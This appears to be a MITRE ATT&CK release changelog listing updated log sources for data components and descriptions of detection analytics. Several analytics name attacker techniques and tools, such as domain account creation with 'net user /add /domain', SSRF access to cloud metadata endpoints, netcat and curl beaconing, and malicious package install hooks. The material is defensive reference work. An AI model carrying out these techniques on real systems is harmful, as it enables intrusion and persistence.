| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:43.635000+00:00 | 2025-10-21 15:14:35.814000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}] | |
| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:56.271000+00:00 | 2025-10-22 19:03:38.549000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}] | |
| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:40.267000+00:00 | 2025-10-21 15:14:38.292000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}] | |
| x_mitre_log_sources | [{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:46.164000+00:00 | 2025-10-21 15:14:36.018000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:54.408000+00:00 | 2025-10-21 15:14:36.315000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:52.137000+00:00 | 2025-10-21 15:14:36.382000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:57.700000+00:00 | 2025-10-21 15:14:37.211000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0111', 'external_id': 'DC0111'}] | |
| x_mitre_log_sources | [{'name': 'Asset', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:53.563000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}] | |
| x_mitre_log_sources | [{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin | eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:42.067000+00:00 | 2025-10-21 15:14:34.948000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}] | |
| x_mitre_log_sources | [{'name': 'Windows Registry', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:03.268000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}] | |
| x_mitre_log_sources | [{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:59.993000+00:00 | 2025-10-22 18:34:46.572000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
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Current version: 1.0
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Description:
Detects access attempts to cloud instance metadata endpoints (e.g., 169.254.169.254) from virtual machines or containerized workloads. This includes both direct access and SSRF exploitation patterns.
Current version: 1.0
Description:
Detects non-standard processes (e.g., PowerShell, python.exe, rundll32.exe) making outbound connections using publish/subscribe protocols (e.g., MQTT, AMQP) over non-browser, encrypted channels, often beaconing to message brokers.
Current version: 1.0
Description:
Detects CLI tools (e.g., mosquitto_pub, nc, python scripts) interacting with pub/sub brokers using unusual topic names, high-frequency publication rates, or obfuscated payloads to non-standard hosts.
Current version: 1.0
Description:
Detects osascript, curl, or custom binaries interacting with XMPP/MQTT brokers in unapproved destinations with encrypted payloads or frequent POST-like requests to broker URIs.
Current version: 1.0
Description:
Detects pub/sub traffic over unusual ports, high-frequency topic publications, and connections to known-bad or dynamic broker endpoints outside allowlisted infrastructure.
Current version: 1.0
Description:
Adversary uses built-in tools such as 'net user /add /domain' or PowerShell to create a domain user account. The behavior chain includes: (1) suspicious process execution on a domain controller followed by (2) user account creation event (Event ID 4720) on the same host.
Current version: 1.0
Description:
Adversary with access to domain management tools (e.g., realmd, samba-tool, ldapmodify) creates a new domain user via command-line utilities. Behavior chain: LDAP command or script triggers → user entry added in AD via Kerberos/LDAP traffic.
Current version: 1.0
Description:
macOS clients joined to AD via LDAP may script account provisioning via dsconfigad, dscl, or LDAP scripts. Detection occurs when such tools run on a domain-joined system, followed by authentication attempts by a previously unseen account.
Current version: 1.0
Description:
Abnormal modification of the PATH environment variable or registry keys controlling system paths, combined with execution of binaries named after legitimate system tools from user-writable directories. Defender correlates registry modifications, file creation of suspicious binaries, and process execution paths inconsistent with baseline system directories.
Current version: 1.0
Description:
User modification of the $PATH environment variable in shell configuration files or direct runtime PATH changes, followed by execution of binaries from user-controlled directories. Defender observes file edits to ~/.bashrc, ~/.profile, or /etc/paths.d and process execution resolving to unexpected binary locations.
Current version: 1.0
Description:
Modification of PATH or HOME environment variables through shell config files, launchctl, or /etc/paths.d entries, combined with process execution from attacker-controlled directories. Defender correlates file changes in /etc/paths.d with process execution resolving to malicious binaries.
Current version: 1.0
Description:
Execution of binaries where the on-disk filename does not match PE metadata such as OriginalFilename or InternalName. Often observed with renamed LOLBAS or system binaries like rundll32, powershell, or psexec.
Current version: 1.0
Description:
Execution of renamed or relocated native macOS utilities with uncommon names or non-default paths (e.g., renamed osascript, bash, or curl).
Current version: 1.0
Description:
Execution of renamed common utilities (e.g., bash, nc, python, sh) from atypical directories or with names intended to deceive defenders or EDRs.
Current version: 1.0
Description:
From a defender’s perspective, suspicious bridging is observed when network devices begin allowing traffic that contradicts existing segmentation or access policies. Observable behaviors include sudden modifications to ACLs or firewall rules, unusual cross-boundary traffic flows (e.g., east-west communications across separated VLANs), or simultaneous ingress/egress anomalies. Multi-event correlation is key: configuration changes on a router/firewall followed by unexpected traffic patterns, especially from unusual sources, is a strong indicator of compromise.
Current version: 1.0
Description:
Adversary uses nltest, PowerShell, or Win32/.NET API to enumerate domain trust relationships (via DSEnumerateDomainTrusts, GetAllTrustRelationships, or LDAP queries), followed by discovery or authentication staging.
Current version: 1.0
Description:
Cloud login from atypical geolocation or user-agent string, followed by resource enumeration or infrastructure manipulation using cloud CLI/API
Current version: 1.0
Description:
Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration
Current version: 1.0
Description:
Login to M365 or Google Workspace from CLI tools or unexpected source IPs, followed by mailbox or document access
Current version: 1.0
Description:
Remote access to third-party SaaS with OAuth or API tokens post-initial compromise, followed by sensitive data access or configuration changes
Current version: 1.0
Description:
Adversary manipulates dependencies/dev tools used by developers or CI: a package manager (npm/yarn/pnpm, pip/pipenv, nuget/dotnet, chocolatey/winget, maven/gradle) or a compiler/IDE downloads or restores content; files are written under project paths and execution paths (node_modules, packages, .nuget, .gradle, .m2, %AppData%\npm, %UserProfile%.cargo\bin, temp build dirs). First run of newly written components triggers scripts (preinstall/postinstall), shell/PowerShell spawning, or loader DLLs, followed by network egress to non-approved registries/CDNs.
Current version: 1.0
Description:
Developer or CI invokes package managers/compilers (apt/yum + build-essential, npm/yarn/pnpm, pip/pip3, gem, cargo, go, maven/gradle). These write executable or script files into PATH or project dirs and immediately execute embedded lifecycle hooks (preinstall/postinstall, setup.py, npm scripts) that spawn shells or curl/wget, followed by egress to unfamiliar registries or domains.
Current version: 1.0
Description:
Developer tools (Homebrew, pip, npm/yarn, Xcode builds) install or update dependencies; new Mach-O or scripts appear under /usr/local, /opt/homebrew, ~/Library/Application Support, project dirs (node_modules/.bin, venv/bin). First run spawns sh/zsh/osascript/curl and new outbound flows; Gatekeeper/AMFI may flag unsigned components.
Current version: 1.0
Description:
Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.
Current version: 1.0
Description:
Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.
Current version: 1.0
Description:
Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.
Current version: 1.0
Description:
Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.
Current version: 1.0
Description:
Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.
Current version: 1.0
